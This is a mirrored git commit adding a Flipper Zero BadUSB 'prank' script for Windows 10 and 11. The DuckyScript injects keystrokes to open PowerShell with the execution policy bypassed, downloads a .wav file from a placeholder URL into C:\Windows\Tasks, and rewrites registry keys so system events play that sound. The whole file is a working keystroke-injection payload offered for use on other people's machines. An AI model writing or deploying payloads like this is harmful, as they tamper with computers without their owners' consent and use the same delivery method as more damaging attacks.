mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-25 12:24:56 -08:00
Add files via upload
This commit is contained in:
22
Pranks/Change-System-Sounds.txt
Normal file
22
Pranks/Change-System-Sounds.txt
Normal file
@@ -0,0 +1,22 @@
|
||||
REM Title: System Events Sound Changer
|
||||
REM Author: @beigeworm | https://github.com/beigeworm
|
||||
REM Description: Download any sound and set system event sounds to that file.
|
||||
REM Target: Windows 10,11
|
||||
|
||||
REM Change WAV_FILE_URL_HERE to a hosted .wav file online OR define a local file below.
|
||||
REM you can restore default sounds in control panel
|
||||
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -NonI -Ep Bypass
|
||||
ENTER
|
||||
DELAY 5000
|
||||
STRING $sound = "C:Windows\Tasks\sound.wav";$URL = iwr -Uri "WAV_FILE_URL_HERE" -OutFile $sound;$eventNames = @("WindowsUAC", "DeviceDisconnect", "DeviceConnect", "Notification.Default", "Maximize", "Minimize", "Open", "Close", "MenuPopup", "SystemNotification") ;foreach ($eventName in $eventNames) {$KeyPath = "HKCU:\AppEvents\Schemes\Apps\.Default\$eventName\.Current";New-Item -Path $KeyPath -Force | Out-Null;Set-ItemProperty -Path $KeyPath -Name "(Default)" -Value $sound -Force};exit
|
||||
DELAY 500
|
||||
ENTER
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user